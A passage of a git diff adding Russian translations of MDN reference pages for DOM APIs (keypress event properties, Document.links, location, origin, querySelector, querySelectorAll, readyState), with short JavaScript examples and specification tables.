умолчанию</dt> + <dd style="margin: 0 0 0 120px;">Varies: <code>keypress</code> event; launch text composition system; <code>blur</code> and <code>focus</code> events; <code>DOMActivate</code> event; other event</dd> +</dl> + +<h2 id="Свойства">Свойства</h2> + +<table class="standard-table"> + <thead> + <tr> + <th scope="col">Свойства</th> + <th scope="col">Тип</th> + <th scope="col">Описание</th> + </tr> + </thead> + <tbody> + <tr> + <td><code>target</code> {{readonlyInline}}</td> + <td>EventTarget</td> + <td>Цель события (самая верхняя цель в дереве DOM).</td> + </tr> + <tr> + <td><code>type</code> {{readonlyInline}}</td> + <td>DOMString</td> + <td>Тип события.</td> + </tr> + <tr> + <td><code>bubbles</code> {{readonlyInline}}</td> + <td>Boolean</td> + <td>Whether the event normally bubbles or not</td> + </tr> + <tr> + <td><code>cancelable</code> {{readonlyInline}}</td> + <td>Boolean</td> + <td>Отменяется ли событие или нет</td> + </tr> + <tr> + <td><code>view</code> {{readonlyInline}}</td> + <td>WindowProxy</td> + <td><a href="/en-US/docs/Web/API/Document/defaultView" title="In browsers, document.defaultView returns the window object associated with a document, or null if none is available."><code>document.defaultView</code></a> (<code>window</code> of the document)</td> + </tr> + <tr> + <td><code>detail</code> {{readonlyInline}}</td> + <td><code>long</code> (<code>float</code>)</td> + <td>0.</td> + </tr> + <tr> + <td><code>target</code> {{readonlyInline}}</td> + <td>EventTarget (DOM element)</td> + <td>Сосредоточенный элемент, обрабатывающий ключевое событие, корневой элемент, если не выделен подходящий элемент ввода.</td> + </tr> + <tr> + <td><code>char</code> {{readonlyInline}}</td> + <td>DOMString (string)</td> + <td>The character value of the key. If the key corresponds to a printable character, this value is a non-empty Unicode string containing that character. If the key doesn't have a printable representation, this is an empty string. See <a href="/en-US/docs/Web/API/KeyboardEvent#Key_names_and_Char_values">key names and char values</a> for the detail. + <div class="note"><strong>Примечание:</strong> Если ключ используется в качестве макроса, который вставляет несколько символов, значением этого атрибута является вся строка, а не только первый символ.</div> + </td> + </tr> + <tr> + <td><code>key</code> {{readonlyInline}}</td> + <td>DOMString (string)</td> + <td> + <p>The key value of the key represented by the event. If the value has a printed representation, this attribute's value is the same as the <code>char</code> property. Otherwise, it's one of the key value strings specified in <a href="/en-US/docs/Web/API/KeyboardEvent/key/Key_Values">Key values</a>. If the key can't be identified, its value is the string "Unidentified". See <a href="/en-US/docs/Web/API/KeyboardEvent#Key_names_and_Char_values">key names and char values</a> for more details. Read Only.</p> + </td> + </tr> + <tr> + <td><code>code</code> {{readonlyInline}} + + </td> + <td>DOMString (string)</td> + <td>Holds a string that identifies the physical key being pressed. The value is not affected by the current keyboard layout or modifier state, so a particular key will always return the same value.</td> + </tr> + <tr> + <td><code>charCode</code> {{readonlyInline}}</td> + <td>Unsigned long (int)</td> + <td>The Unicode reference number of the key; this attribute is used only by the <a href="/en-US/docs/Mozilla_event_reference/keypress"><code>keypress</code></a> event. For keys whose <code>char</code> attribute contains multiple characters, this is the Unicode value of the first character in that attribute. + <div class="warning"><strong>Warning:</strong> This attribute is deprecated; you should use <code>char</code> instead, if available.</div> + </td> + </tr> + <tr> + <td><code>keyCode</code> {{readonlyInline}}</td> + <td>Unsigned long (int)</td> + <td>A system and implementation dependent numerical code identifying the unmodified value of the pressed key. This is usually the decimal ASCII ({{ RFC(20) }}) or Windows 1252 code corresponding to the key; see {{ anch("Virtual key codes") }} for a list of common values. If the key can't be identified, this value is 0. + <div class="warning"><strong>Warning:</strong> This attribute is deprecated; you should use <code>key</code> instead, if available.</div> + </td> + </tr> + <tr> + <td><code>which</code> {{readonlyInline}}</td> + <td>Unsigned long (int)</td> + <td>A system and implementation dependent numeric code identifying the unmodified value of the pressed key; this is usually the same as <code>keyCode</code>. + <div class="warning"><strong>Warning:</strong> This attribute is deprecated; you should use <code>key</code> instead, if available.</div> + </td> + </tr> + <tr> + <td><code>location</code> {{readonlyInline}}</td> + <td>long (float)</td> + <td>The location of the key on the device.</td> + </tr> + <tr> + <td><code>repeat</code> {{readonlyInline}}</td> + <td>boolean</td> + <td><code>true</code> if a key has been depressed long enough to trigger key repetition, otherwise <code>false</code>.</td> + </tr> + <tr> + <td><code>locale</code> {{readonlyInline}}</td> + <td>string</td> + <td>The language code for the key event, if available; otherwise, the empty string.</td> + </tr> + <tr> + <td><code>ctrlKey</code> {{readonlyInline}}</td> + <td>boolean</td> + <td><code>true</code> if the control key was down when the event was fired. <code>false</code> otherwise.</td> + </tr> + <tr> + <td><code>shiftKey</code> {{readonlyInline}}</td> + <td>boolean</td> + <td><code>true</code> if the shift key was down when the event was fired. <code>false</code> otherwise.</td> + </tr> + <tr> + <td><code>altKey</code> {{readonlyInline}}</td> + <td>boolean</td> + <td><code>true</code> if the alt key was down when the event was fired. <code>false</code> otherwise.</td> + </tr> + <tr> + <td><code>metaKey</code> {{readonlyInline}}</td> + <td>boolean</td> + <td><code>true</code> if the meta key was down when the event was fired. <code>false</code> otherwise.</td> + </tr> + </tbody> +</table> + +<h2 id="Заметки">Заметки</h2> + +<p>Chrome не запускает событие <code>keypress</code> для известных сочетаний клавиш (<a href="https://bugs.chromium.org/p/chromium/issues/detail?id=13891#c50">reference</a>). Какие сочетания клавиш известны, зависит от системы пользователя. Используйте событие<code>keydown</code> для реализации сочетаний клавиш.</p> + +<h2 id="Связанные_события">Связанные события</h2> + +<ul> + <li>{{event("keydown")}}</li> + <li>{{event("keyup")}}</li> + <li>{{event("keypress")}}</li> + <li>{{event("input")}}</li> +</ul> + +<h2 id="Пример">Пример</h2> + +<pre class="brush: js"><!DOCTYPE html> +<html> +<head> +<script> + +'use strict'; + +document.addEventListener('keypress', (event) => { + const keyName = event.key; + + alert('keypress event\n\n' + 'key: ' + keyName); +}); + +</script> +</head> +<body> +</body> +</html></pre> diff --git a/files/ru/web/api/document/links/index.html b/files/ru/web/api/document/links/index.html new file mode 100644 index 0000000000..3497a83b47 --- /dev/null +++ b/files/ru/web/api/document/links/index.html @@ -0,0 +1,72 @@ +--- +title: Document.links +slug: Web/API/Document/links +tags: + - API + - Document + - HTML DOM + - Property + - Reference +translation_of: Web/API/Document/links +--- +<p>{{ APIRef("DOM") }}</p> + +<p>Возвращает объект всех элементов {{HTMLElement("area")}} и {{HTMLElement("a")}}, присутствующих на странице с значением атрибута <a href="/en-US/docs/Web/API/URLUtils.href">href</a>.</p> + +<h2 id="Syntax" name="Syntax">Синтаксис</h2> + +<pre class="eval"><em>nodeList</em> = document.links +</pre> + +<p> </p> + +<h3 id="Значение">Значение</h3> + +<p>{{domxref("HTMLCollection")}}.</p> + +<p> </p> + +<h2 id="Example" name="Example">Пример</h2> + +<pre class="brush: js">var links = document.links; +for(var i = 0; i < links.length; i++) { + var linkHref = document.createTextNode(links[i].href); + var lineBreak = document.createElement("br"); + document.body.appendChild(linkHref); + document.body.appendChild(lineBreak); +} +</pre> + +<h2 id="Спецификации">Спецификации</h2> + +<table class="standard-table"> + <tbody> + <tr> + <th scope="col">Спецификация</th> + <th scope="col">Статус</th> + <th scope="col">Комментарий</th> + </tr> + <tr> + <td>{{SpecName('HTML WHATWG', '#dom-document-links', 'Document.links')}}</td> + <td>{{ Spec2('HTML WHATWG') }}</td> + <td> </td> + </tr> + <tr> + <td>{{SpecName("DOM2 HTML", "html.html#ID-7068919", "document.links")}}</td> + <td>{{Spec2("DOM2 HTML")}}</td> + <td>Исходное определение.</td> + </tr> + </tbody> +</table> + +<h2 id="Совместимость_с_браузерами">Совместимость с браузерами</h2> + +<p> </p> + +<div class="hidden"> +<p>The compatibility table on this page is generated from structured data. If you'd like to contribute to the data, please check out <a href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a>and send us a pull request.</p> +</div> + +<p>{{Compat("api.Document.links")}}</p> + +<p> </p> diff --git a/files/ru/web/api/document/location/index.html b/files/ru/web/api/document/location/index.html new file mode 100644 index 0000000000..f0541c8c74 --- /dev/null +++ b/files/ru/web/api/document/location/index.html @@ -0,0 +1,76 @@ +--- +title: Document.location +slug: Web/API/Document/location +tags: + - API + - Document + - HTML DOM + - Read-only + - Свойство +translation_of: Web/API/Document/location +--- +<p>{{APIRef("DOM")}}</p> + +<p>Доступное только для чтения свойство <strong><code>Document.location</code></strong> возвращает объект {{domxref("Location")}}, который содержит информацию о URL страницы и предоставляет методы для изменения этого URL и загрузки другого URL.</p> + +<p>Хотя <code>Document.location</code> это <em>read-only</em> объект <code>Location</code>, вы всё же можете присвоить ему {{domxref("DOMString")}}. Это означает, что в большинстве случаев вы можете работать с document.location так, будто это строка: <code>document.location = 'http://www.example.com'</code> фактически то же, что и <code>document.location.href = 'http://www.example.com'</code>.</p> + +<p>Чтобы получить URL как строку, вы можете использовать <em>read-only</em> свойство {{domxref("document.URL")}}.</p> + +<p>Если страница находится вне текущего контекста, вернётся <code>null</code>.</p> + +<h2 id="Syntax" name="Syntax">Синтаксис</h2> + +<pre><em>locationObj</em> = document.location +document.location = 'http://www.mozilla.org' // Эквиваленто след. +document.location.href = 'http://www.mozilla.org'</pre> + +<h2 id="Example" name="Example">Пример</h2> + +<pre class="brush: js">dump(document.location); +// Выведет строку +// "http://www.example.com/juicybits.html" в консоли +</pre> + +<h2 id="Спецификации">Спецификации</h2> + +<table class="standard-table"> + <tbody> + <tr> + <th scope="col">Спецификация</th> + <th scope="col">Статус</th> + <th scope="col">Комментарии</th> + </tr> + <tr> + <td>{{SpecName('HTML WHATWG', "history.html#the-location-interface", "Document.location")}}</td> + <td>{{Spec2('HTML WHATWG')}}</td> + <td>Нет изменений с {{SpecName("HTML5 W3C")}}.</td> + </tr> + <tr> + <td>{{SpecName('HTML5 W3C', "browsers.html#the-location-interface", "Document.location")}}</td> + <td>{{Spec2('HTML5 W3C')}}</td> + <td>Исходное определение.</td> + </tr> + </tbody> +</table> + +<h2 id="Совместимость_с_браузерами">Совместимость с браузерами</h2> + +<p> </p> + +<div class="hidden"> +<p>The compatibility table on this page is generated from structured data. If you'd like to contribute to the data, please check out <a href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a>and send us a pull request.</p> +</div> + +<p>{{Compat("api.Document.location")}}</p> + +<p> </p> + +<h2 id="Смотрите_также">Смотрите также</h2> + +<ul> + <li>Интерфейс возвращаемого значения, {{domxref("Location")}}.</li> + <li>Похожая информация, но привязанная к контексту, {{domxref("Window.location")}}</li> +</ul> + +<p> </p> diff --git a/files/ru/web/api/document/origin/index.html b/files/ru/web/api/document/origin/index.html new file mode 100644 index 0000000000..31ebf7845b --- /dev/null +++ b/files/ru/web/api/document/origin/index.html @@ -0,0 +1,109 @@ +--- +title: Document.origin +slug: Web/API/Document/origin +tags: + - API + - DOM + - Read-only + - Интерфейс + - Свойство + - Эксперементальный +translation_of: Web/API/Document/origin +--- +<div>{{APIRef("DOM")}}{{SeeCompatTable}}</div> + +<div> </div> + +<p><strong>Document.origin — </strong>это свойство, доступное только для чтения, которое возвращает <strong>origin </strong>документа. В большинстве случаев это свойство эквивалентно <code><strong>document.defaultView.location.origin</strong>.</code></p> + +<h2 id="Примеры">Примеры</h2> + +<pre class="brush: js">var origin = document.origin; +// На этой странице вернёт:'https://developer.mozilla.org' + +var origin = document.origin; +// Для "about:blank" вернёт:'null' + +var origin = document.origin; +// Для "data:text/html,<b>foo</b>" вернёт:'null' +</pre> + +<h2 id="Спецификация">Спецификация</h2> + +<table class="standard-table"> + <tbody> + <tr> + <th scope="col">Спецификация</th> + <th scope="col">Статус</th> + <th scope="col">Комментарий</th> + </tr> + <tr> + <td>{{SpecName('DOM WHATWG', '#dom-document-origin', 'Document.origin')}}</td> + <td>{{Spec2('DOM WHATWG')}}</td> + <td>Начальное определение (выставляется во время инициализации DOM).</td> + </tr> + <tr> + <td>{{SpecName('HTML WHATWG', '#origin:document', 'origin for Document objects')}}</td> + <td>{{Spec2('HTML WHATWG')}}</td> + <td>Начальное определение (выставляется во время инициализации DOM).</td> + </tr> + </tbody> +</table> + +<h2 id="Совместимость_с_браузерами">Совместимость с браузерами</h2> + +<p>{{ CompatibilityTable() }}</p> + +<div id="compat-desktop"> +<table class="compat-table"> + <tbody> + <tr> + <th>Особенность</th> + <th>Chrome</th> + <th>Firefox (Gecko)</th> + <th>Internet Explorer</th> + <th>Opera</th> + <th>Safari</th> + </tr> + <tr> + <td>Базовая поддержка</td> + <td>{{CompatChrome(41)}}</td> + <td>{{CompatNo}} {{bug(931884)}}</td> + <td>{{CompatNo}}</td> + <td>{{CompatNo}}</td> + <td>{{CompatNo}}</td> + </tr> + </tbody> +</table> +</div> + +<div id="compat-mobile"> +<table class="compat-table"> + <tbody> + <tr> + <th>Особенность</th> + <th>Android</th> + <th>Chrome for Android</th> + <th>Firefox Mobile (Gecko)</th> + <th>IE Mobile</th> + <th>Opera Mobile</th> + <th>Safari Mobile</th> + </tr> + <tr> + <td>Базовая поддержка</td> + <td>{{CompatNo}}</td> + <td>{{CompatNo}}</td> + <td>{{CompatNo}}</td> + <td>{{CompatNo}}</td> + <td>{{CompatNo}}</td> + <td>{{CompatNo}}</td> + </tr> + </tbody> +</table> +</div> + +<h2 id="Смотрите_также">Смотрите также</h2> + +<ul> + <li>Свойство {{domxref("URLUtils.origin")}}.</li> +</ul> diff --git a/files/ru/web/api/document/queryselector/index.html b/files/ru/web/api/document/queryselector/index.html new file mode 100644 index 0000000000..2a4803421f --- /dev/null +++ b/files/ru/web/api/document/queryselector/index.html @@ -0,0 +1,131 @@ +--- +title: Document.querySelector() +slug: Web/API/Document/querySelector +tags: + - CSS + - DOM + - Selector + - querySelector + - выборка + - поиск элемента + - поиск элементов + - селектор +translation_of: Web/API/Document/querySelector +--- +<div>{{ApiRef("DOM")}}</div> + +<p>{{domxref("Document")}} метод <code><strong>querySelector()</strong></code> возвращает первый элемент ({{domxref("Element")}}) документа, который соответствует указанному селектору или группе селекторов. Если совпадений не найдено, возвращает значение <code>null</code>.</p> + +<div class="blockIndicator note"> +<p><strong>Заметка</strong>: Сопоставление выполняется с использованием обхода по предварительному порядку в глубину узлов документа, начиная с первого элемента в разметке документа и повторяя последовательные узлы по порядку количества дочерних узлов.</p> +</div> + +<h2 id="Syntax" name="Syntax">Синтаксис</h2> + +<pre class="brush: js notranslate">element = document.querySelector(selectors); +</pre> + +<h3 id="Параметры">Параметры</h3> + +<dl> + <dt><var>селекторы</var></dt> + <dd>{{domxref("DOMString")}}, содержайщий один или более селекторов для сопоставления. Эта строка должна быть допустимой строкой селектора CSS; если же нет, генерируется исключение <code>SYNTAX_ERR</code>. Смотрите <a href="https://developer.mozilla.org/en-US/docs/Web/API/Document_object_model/Locating_DOM_elements_using_selectors">Расположение элементов DOM с использованием селекторов</a> для того, чтобы узнать больше о селекторах и о том, как ими управлять.</dd> +</dl> + +<div class="blockIndicator note"> +<p><strong>Заметка:</strong> Символы, которые не являются частью стандартного синтаксиса CSS должны быть экранированы символом обратной косой черты. Поскольку JavaScript также использует экранирование символом обратной косой черты, будьте особенно внимательны при написании строковых литералов с использованием этих символов. См. {{anch("Escaping special characters")}} для получения дополнительной информации.</p> +</div> + +<h3 id="Возвращаемое_значение">Возвращаемое значение</h3> + +<p>Ссылка на объект типа {{domxref("Element")}}, являющийся первым элементов в документе, который соответствует указанному набору <a href="https://developer.mozilla.org/ru/docs/Web/CSS/CSS_%D0%A1%D0%B5%D0%BB%D0%B5%D0%BA%D1%82%D0%BE%D1%80%D1%8B">CSS селекторов</a>, либо <code>null</code>, если совпадений нет. </p> + +<p>Если вам нужен список всех элементов, соответствующих указанным селекторам, используйте функцию {{domxref("Document.querySelectorAll", "querySelectorAll()")}}.</p> + +<h3 id="Исключения">Исключения</h3> + +<dl> + <dt><code>SYNTAX_ERR</code></dt> + <dd>Некорректный синтаксис указанных селекторов <var>selectors</var>.</dd> +</dl> + +<h2 id="Примечания_по_использованию">Примечания по использованию</h2> + +<p>Если указанный селектор соответствует идентификатору, который неправильно используется более одного раза в документе, возвращается первый элемент с этим идентификатором.</p> + +<p><a href="https://developer.mozilla.org/en-US/docs/Web/CSS/Pseudo-elements">Псевдо-элементы CSS</a> никогда не вернут никаких элементов, как указано в <a href="http://www.w3.org/TR/selectors-api/#grammar">API селекторов</a>.</p> + +<h3 id="Экранирование_специальных_символов">Экранирование специальных символов</h3> + +<p>Чтобы сопоставить ID или селектроры, которые не соответствуют стандартному синтаксису CSS (например, использующих ненадлежащим образом двоеточие или пробел), необходимо экранировать символ обратной косой чертой ("<code>\</code>"). Поскольку обратная косая черта также является экранирующим символом в JavaScript, то при вводе литеральной строки необходимо экранировать ее <em>дважды</em> (первый раз для строки JavaScript и второй для <code>querySelector()</code>):</p> + +<pre class="brush: html notranslate"><div id="foo\bar"></div> +<div id="foo:bar"></div> + +<script> + console.log('#foo\bar'); // "#fooar" (\b is the backspace control character) + document.querySelector('#foo\bar'); // Does not match anything + + console.log('#foo\\bar'); // "#foo\bar" + console.log('#foo\\\\bar'); // "#foo\\bar" + document.querySelector('#foo\\bar'); // Match the first div + + document.querySelector('#foo:bar'); // Does not match anything + document.querySelector('#foo\\:bar'); // Match the second div +</script></pre> + +<h2 id="Example" name="Example">Примеры</h2> + +<h3 id="Выбор_первого_элемента_с_совпадающим_классом">Выбор первого элемента с совпадающим классом</h3> + +<p>В этом примере, нам вернется первый элемент в документе с классом "<code>myclass</code>":</p> + +<pre class="brush: js notranslate">var el = document.querySelector(".myclass"); +</pre> + +<h3 id="Notes" name="Notes">Более сложный селектор</h3> + +<p>Селекторы, передаваемые в querySelector, могут быть использованы и для точного поиска, как показано в примере ниже. В данном примере возвращается элемент <input name="login"/>, находящийся в <div class="user-panel main">:</p> + +<pre class="brush: js notranslate">var el = document.querySelector("div.user-panel.main input[name=login]"); +</pre> + +<h2 id="Спецификации">Спецификации</h2> + +<table class="standard-table"> + <tbody> + <tr> + <th scope="col">Спецификация</th> + <th scope="col">Статус</th> + <th scope="col">Комментарий</th> + </tr> + <tr> + <td>{{SpecName("Selectors API Level 2", "#interface-definitions", "document.querySelector()")}}</td> + <td>{{Spec2("Selectors API Level 2")}}</td> + <td></td> + </tr> + <tr> + <td>{{SpecName("Selectors API Level 1", "#interface-definitions", "document.querySelector()")}}</td> + <td>{{Spec2("Selectors API Level 1")}}</td> + <td>Изначальное определение</td> + </tr> + </tbody> +</table> + +<h2 id="Browser_Compatibility" name="Browser_Compatibility">Совместимость с браузерами</h2> + +<div class="hidden"> +<p>The compatibility table on this page is generated from structured data. If you'd like to contribute to the data, please check out <a href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a> and send us a pull request.</p> +</div> + +<p>{{Compat("api.Document.querySelector")}}</p> + +<h2 id="See_also" name="See_also">Смотрите также</h2> + +<ul> + <li><a href="https://developer.mozilla.org/en-US/docs/Web/API/Document_object_model/Locating_DOM_elements_using_selectors">Locating DOM elements using selectors</a></li> + <li>{{domxref("document.querySelectorAll()")}}</li> + <li>{{domxref("element.querySelector()")}}</li> + <li>{{domxref("element.querySelectorAll()")}}</li> + <li><a href="/en-US/docs/Code_snippets/QuerySelector" title="en-US/docs/Code snippets/QuerySelector">Фрагменты кода для querySelector</a></li> +</ul> diff --git a/files/ru/web/api/document/queryselectorall/index.html b/files/ru/web/api/document/queryselectorall/index.html new file mode 100644 index 0000000000..3706d0099d --- /dev/null +++ b/files/ru/web/api/document/queryselectorall/index.html @@ -0,0 +1,165 @@ +--- +title: Document.querySelectorAll() +slug: Web/API/Document/querySelectorAll +tags: + - API + - DOM + - Document + - Method + - Selectors +translation_of: Web/API/Document/querySelectorAll +--- +<div>{{ ApiRef("DOM") }}</div> + +<p>Метод <code><strong>querySelectorAll()</strong></code> {{domxref("Document")}} возвращает статический (не динамический) {{domxref("NodeList")}}, содержащий все найденные элементы документа, которые соответствуют указанному селектору.</p> + +<div class="blockIndicator note"> +<p><strong>Примечание:</strong> Данный метод реализован на основе миксина {{domxref("ParentNode")}} {{domxref("ParentNode.querySelectorAll", "querySelectorAll()")}} метода.</p> +</div> + +<h2 id="Syntax" name="Syntax">Синтаксис</h2> + +<pre class="brush: js">elementList = document.querySelectorAll(selectors); +</pre> + +<h3 id="Параметры">Параметры</h3> + +<dl> + <dt><strong><code>selectors</code></strong></dt> + <dd>Строка {{domxref("DOMString")}}, содержащая один или более <a href="/en-US/docs/Web/Guide/CSS/Getting_Started/Selectors">CSS селектор</a>. Эта строка должна быть валидным <a href="/ru/docs/Web/CSS/CSS_Selectors">CSS селектором</a>. Если это не так, то генерируется <code>SyntaxError</code>. Смотрите <a href="/ru/docs/DOM/DOM_Reference/Locating_DOM_elements_using_selectors">Поиск элементов DOM с использованием селекторов</a> для получения информации о том, распознавать элементы. Несколько селекторов нужно разделить запятыми.</dd> +</dl> + +<div class="note"> +<p><strong>Примечание:</strong> Символы, которые не являются частью стандартного синтаксиса CSS, должны быть экранированы с помощью символа обратной косой черты (<code>\</code>). Поскольку в JavaScript также используется экранирование обратной косой черты, при написании строковых литералов с использованием этих символов следует соблюдать особую осторожность. Для более подробной информации смотри {{anch("Escaping special characters")}}.</p> +</div> + +<h3 id="Возвращаемое_значение">Возвращаемое значение</h3> + +<p>Статический (non-live) {{domxref("NodeList")}}, содержащий все элементы в пределах документа, которые соответствуют как минимум одному из указанных селекторов, или пустой {{domxref("NodeList")}} в случае отсутствия совпадений.</p> + +<div class="note"> +<p><strong>Примечание:</strong> Если в строке <code>selectors</code> содержатся <a href="/ru/docs/Web/CSS/Pseudo-elements">CSS псевдоэлементы</a>, то возвращаемый список будет всегда пуст.</p> +</div> + +<h3 id="Исключения">Исключения</h3> + +<dl> + <dt><code>SyntaxError</code></dt> + <dd>Исключение <code>SYNTAX_ERR</code> происходит в случае передачи некорректной группы селекторов.</dd> +</dl> + +<h2 id="Examples" name="Examples">Примеры</h2> + +<h3 id="Получение_списка_совпадений">Получение списка совпадений</h3> + +<p>Чтобы получить {{domxref("NodeList")}} всех элементов {{HTMLElement("p")}} в документе:</p> + +<pre class="brush: js">var matches = document.querySelectorAll("p");</pre> + +<p>В этом примере возвращается список всех элементов {{HTMLElement ("div")}} в документе, которые имеют класс <code>note</code> или <code>alert</code>:</p> + +<pre class="brush: js">var matches = document.querySelectorAll("div.note, div.alert"); +</pre> + +<p>Здесь мы получаем список элементов <code><p></code>, чьим непосредственным родительским элементом явялется {{HTMLElement("div")}} с классом <code>highlighted</code>, который расположен внутри контейнера с идентификатором <code>test</code>.</p> + +<pre class="brush: js">var container = document.querySelector("#test"); +var matches = container.querySelectorAll("div.highlighted > p");</pre> + +<p>В этом примере используются <a href="/ru/docs/Web/CSS/Attribute_selectors">селекторы атрибутов</a>, чтобы вернуть список элементов {{HTMLElement("iframe")}}, которые содержат атрибут <code>data-src</code>:</p> + +<pre class="brush: js">var matches = document.querySelectorAll("iframe[data-src]");</pre> + +<p>Здесь селектор атрибута используется для возврата элементов списка, содержащихся в списке с идентификатором <code>"userlist"</code>, который имеет атрибут <code>"data-active"</code> со значением <code>"1"</code>:</p> + +<pre class="brush: js">var container = document.querySelector("#userlist"); +var matches = container.querySelectorAll("li[data-active='1']");</pre> + +<h3 id="Доступ_к_совпадениям">Доступ к совпадениям</h3> + +<p>Вернув {{domxref("NodeList")}} совпадений один раз, вы можете использовать его как простой массив. Если массив пустой (т. е. свойство <code>length</code> равно 0), то совпадений не было найдено.</p> + +<p>В другом случае, вы можете использовать стандартную запись массива для доступа к содержимому. Вы можете использовать любой оператор зацикливания, например:</p> + +<pre class="brush: js">var highlightedItems = userList.querySelectorAll(".highlighted"); + +highlightedItems.forEach(function(userItem) { + deleteUser(userItem); +});</pre> + +<h2 id="Примечания_пользователя">Примечания пользователя</h2> + +<p><code>querySelectorAll()</code> ведёт себя не так, как большинство библиотек JavaScript DOM. Это может привести к неожиданным результатам.</p> + +<h3 id="HTML">HTML</h3> + +<p>Рассмотрим этот HTML с тремя вложенными {{HTMLElement("div")}} блоками.</p> + +<pre class="brush: html"><div class="outer"> + <div class="select"> + <div class="inner"> + </div> + </div> +</div></pre> + +<h3 id="JavaScript">JavaScript</h3> + +<pre class="brush: js">var select = document.querySelector('.select'); +var inner = select.querySelectorAll('.outer .inner'); +inner.length; // 1, не 0!</pre> + +<p>В данном примере, когда мы выбрали <code>".outer .inner"</code> в контексте <code><div></code> с классом <code>"select"</code>, элемент с классом <code>".inner"</code> был всё равно найден, хотя <code>.outer</code> не является потомком элемента в котором происходил поиск (<code>".select"</code>). По-умолчанию, <code>querySelectorAll()</code> проверяет только последний элемент без учёта контекста.</p> + +<p>Псевдокласс {{cssxref(":scope")}} даёт нам ожидаемый результат. Только соответстующие селекторы в потомках базового элемента:</p> + +<pre class="brush: js">var select = document.querySelector('.select'); +var inner = select.querySelectorAll(':scope .outer .inner'); +inner.length; // 0</pre> + +<h2 id="Спецификации"><span style="font-size: 2.33333rem; letter-spacing: -0.00278rem;">Спецификации</span></h2> + +<table class="standard-table"> + <thead> + <tr> + <th scope="col">Спецификация</th> + <th scope="col">Статус</th> + <th scope="col">Комментарий</th> + </tr> + </thead> + <tbody> + <tr> + <td>{{SpecName("DOM WHATWG", "#dom-parentnode-queryselectorall", "ParentNode.querySelectorAll()")}}</td> + <td>{{Spec2("DOM WHATWG")}}</td> + <td>Живой стандарт</td> + </tr> + <tr> + <td>{{SpecName("Selectors API Level 2", "#dom-parentnode-queryselectorall", "ParentNode.querySelectorAll()")}}</td> + <td>{{Spec2("Selectors API Level 2")}}</td> + <td>Без изменений</td> + </tr> + <tr> + <td>{{SpecName("DOM4", "#dom-parentnode-queryselectorall", "ParentNode.querySelectorAll()")}}</td> + <td>{{Spec2("DOM4")}}</td> + <td>Изначальное определение</td> + </tr> + <tr> + <td>{{SpecName("Selectors API Level 1", "#interface-definitions", "document.querySelector()")}}</td> + <td>{{Spec2("Selectors API Level 1")}}</td> + <td>Оригинальное определение</td> + </tr> + </tbody> +</table> + +<h2 id="Совместимость_с_браузерами">Совместимость с браузерами</h2> + +<p>{{Compat("api.Document.querySelectorAll")}}</p> + +<h2 id="Смотрите_также"><span style='font-family: x-locale-heading-primary,zillaslab,Palatino,"Palatino Linotype",x-locale-heading-secondary,serif; font-size: 2.33333rem; letter-spacing: -0.00278rem;'>Смотрите также</span></h2> + +<ul> + <li>{{domxref("Element.querySelector()")}} and {{domxref("Element.querySelectorAll()")}}</li> + <li>{{domxref("Document.querySelector()")}}</li> + <li>{{domxref("DocumentFragment.querySelector()")}} and {{domxref("DocumentFragment.querySelectorAll()")}}</li> + <li>{{domxref("ParentNode.querySelector()")}} and {{domxref("ParentNode.querySelectorAll()")}}</li> + <li><a href="/en-US/docs/Code_snippets/QuerySelector">Code snippets for <code>querySelector</code></a></li> +</ul> diff --git a/files/ru/web/api/document/readystate/index.html b/files/ru/web/api/document/readystate/index.html new file mode 100644 index 0000000000..fbf050e1b5 --- /dev/null +++ b/files/ru/web/api/document/readystate/index.html @@ -0,0 +1,116 @@ +--- +title: Document.readyState +slug: Web/API/Document/readyState +tags: + - API + - Property +translation_of: Web/API/Document/readyState +--- +<div> +<p>{{APIRef("DOM")}}{{gecko_minversion_header("1.9.2")}}</p> + +<p>Свойство<strong> <code>Document.readyState</code></strong> описывает состояние загрузки {{domxref("document")}}.</p> + +<p>Когда значение этого свойства изменяется, в объетке {{domxref("document")}} запускается событие {{event("readystatechange")}}.</p> +</div> + +<h2 id="Синтаксис">Синтаксис</h2> + +<pre class="notranslate">var <var>string</var> = <var>document</var>.readyState;</pre> + +<h3 id="Значения">Значения</h3> + +<p>Свойство <strong>readyState</strong> объекта document может иметь одно из следующих значений:</p> + +<dl> + <dt><code>loading</code></dt> + <dd>Страница все еще загружается.</dd> + <dt><code>interactive</code></dt> + <dd>Страница уже загружена и <a href="/en-US/docs/Glossary/DOM">DOM</a> дерево построено, но дополнительные ресурсы, такие как изображения и <a href="/en-US/docs/Web/HTML/Element/iframe">iframe</a>, все еще загружаются.</dd> + <dt><code>complete</code></dt> + <dd>Страница и все дополнительные ресурсы уже загружены. Это состояние указывает, что событие {{event("load")}} уже вызвано.</dd> +</dl> + +<p>При изменении значения, данного свойства, вызывается событие {{event("readystatechange")}} на объекте {{ domxref("document") }}.</p> + +<h2 id="Примеры"><span>Примеры</span></h2> + +<h3 id="Разные_состояния_загрузки_страницы">Разные состояния загрузки страницы</h3> + +<pre class="brush: js notranslate" dir="rtl"><span>switch (document.readyState) { + case "loading": + // Страница все еще загружается + break; + case "interactive": + // Страница уже загружена. Теперь мы можем получить доступ к DOM объектам. + var span = document.createElement("span"); + span.textContent = "A <span> element."; + document.body.appendChild(span); + break; + case "complete": + // Страница загружена вместе с дополнительными ресурсами. + console.log("The first CSS rule is: " + document.styleSheets[0].cssRules[0].cssText); + break; +}</span> +</pre> + +<h3 id="readystatechange_как_альтернатива_событию_DOMContentLoaded">readystatechange как альтернатива событию DOMContentLoaded</h3> + +<pre class="brush:js notranslate">// альтернатива событию DOMContentLoaded +document.onreadystatechange = function () { + if (document.readyState == "interactive") { + initApplication(); + } +}</pre> + +<h3 id="readystatechange_как_альтернатива_событию_load">readystatechange как альтернатива событию load</h3> + +<pre class="brush: js notranslate">// альтернатива событию load +document.onreadystatechange = function () { + if (document.readyState == "complete") { + initApplication(); + } +}</pre> + +<h2 id="Спецификации">Спецификации</h2> + +<table class="spectable standard-table"> + <tbody> + <tr> + <th scope="col">Спецификация</th> + <th scope="col">Состояние</th> + <th scope="col">Комментарии</th> + </tr> + <tr> + <td>{{SpecName("HTML WHATWG", "#current-document-readiness", "Document readiness")}}</td> + <td>{{Spec2('HTML WHATWG')}}</td> + <td></td> + </tr> + <tr> + <td>{{SpecName("HTML5.1", "#current-document-readiness", "Document readiness")}}</td> + <td>{{Spec2('HTML5.1')}}</td> + <td></td> + </tr> + 